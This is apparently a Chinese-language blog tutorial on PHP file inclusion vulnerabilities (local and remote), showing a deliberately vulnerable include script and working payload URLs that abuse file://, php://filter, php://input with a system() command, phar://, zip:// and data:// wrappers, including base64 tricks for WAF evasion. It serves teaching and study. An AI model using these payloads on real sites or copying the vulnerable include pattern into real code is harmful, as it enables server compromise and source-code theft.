• 文件包含漏洞


     0x00  前言
    在我们文件上传的时候,如果是白名单通常会配合到文件包含和解析漏洞来getshell,那么这里先来说说文件包含。

    0x01 文件包含漏洞

    在php当中的文件包含的内容都会被当作php来执行,文件包含本来是个很常见的语法,在一些cms或者是网站源码里面都可以经常看到会包含到一个数据库文件用于连接数据库。直接的去包含一个文件是安全的,但一些开发人员为了灵活方便,去 动态的去包含一个文件的时候就造成了这么一个漏洞。
    文件包含函数如下:
    include()
    include_once()
    require()
    require_once()

    下面来编写一个简单的文件包含脚本
    <?php $file = $_GET['file'];
    include $file;
    ?>

    这里get的方式接收file传参过来的内容,然后包含file传参过来的内容。
    那么这时候我们如果上传了一个照片马的话,可以直接调用包含来包含我们的照片马,达到getshell的目的。


    这里包含了个txt文件,里面的内容直接被当作代码来执行了。

    在文件包含当中也分为本地文件包含(LFI)和远程文件包含(RFI)
    两者的区别在于本地文件包含只能包含本地的文件,需要上传图片马到对方服务器上,而远程文件包含可以直接调用远程的文件进行包含。但是远程文件包含的条件是:
    allow_url_fopen = On    (默认开启)allow_url_include = On  (默认关闭)被包含的变量前没有目录的限制



    开启后能直接包含到远程的文件。
    协议也可以直接包含文件,


    这里直接包含了一个c盘下的1.txt文件内容就可以被我们给显示出来了。
    0x02 文件包含伪协议
    文件包含的伪协议有如下:
    file://    访问本地文件系统
    http://    访问 HTTPs 网址
    ftp://     访问 ftp URL
    Php://     访问输入输出流
    Zlib://    压缩流
    Data:
    //
    Ssh2:// security shell2 Expect:// 处理交互式的流 Glob:// 查找匹配的文件路径 phar:// PHP 归档


    file伪协议读取本地文件:
    http://localhost/include/include.php?file=file://c:1.txt
    这里需要写入绝对路径 否则包含不了。

    php伪协议利用:
    php://伪协议主要分为input 和 filter,input 的利用条件是开启allow_url_include,而filter不需要。

    http://127.0.0.1/include/include.php?file=php://filter/resource=../test/1.txt


    使用文件包含读取源码
    php://filter/read=convert.base64-encode/resource=include.php

    这里使用base64加密后读取文件,如果直接读取php文件会失败,或者直接被执行。


    php://input使用条件:

    allow_url_include   为on

    http://127.0.0.1/include/include.php?file=php://input
    post传入数据
    <?php system('ipconfig');?>



    phar://伪协议利用:
    利用条件: php版本大于5.3
    http://127.0.0.1/include/include.php?file=phar://phpinfo.rar/phpinfo.txt

    这个方法在绕过一些waf上有一定的作用

    zip://伪协议利用:
    http://127.0.0.1/include/include.php?file=zip://phpinfo.rar%23phpinfo.txt

    这里和前面的不同需要用到个#号

    data://伪协议利用:
    利用条件:
     
    http://127.0.0.1/include/include.php?file=data://test/plain,<?php phpinfo();?>


    这里还可以传入base64的值 有一直概率的绕过waf的拦截

    http://127.0.0.1/include/include.php?file=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=




      
  • 相关阅读:
    奇偶校检只能检出奇数个误差数学证明
    散列函数之双重散列算法解决冲突问题
    散列函数之单散列算法解决冲突问题
    散列函数之简单散列函数算法
    费马因式分解算法优化及素数判定
    完全平方数的末两位数字类型的另一种证明
    贪婪算法硬币找零最优解问题证明2
    贪婪算法硬币找零最优解问题证明
    改进冒泡排序法
    DASH MP4 cenc 笔记
  • 原文地址:https://www.cnblogs.com/nice0e3/p/12815021.html
Copyright © 2020-2023  润新知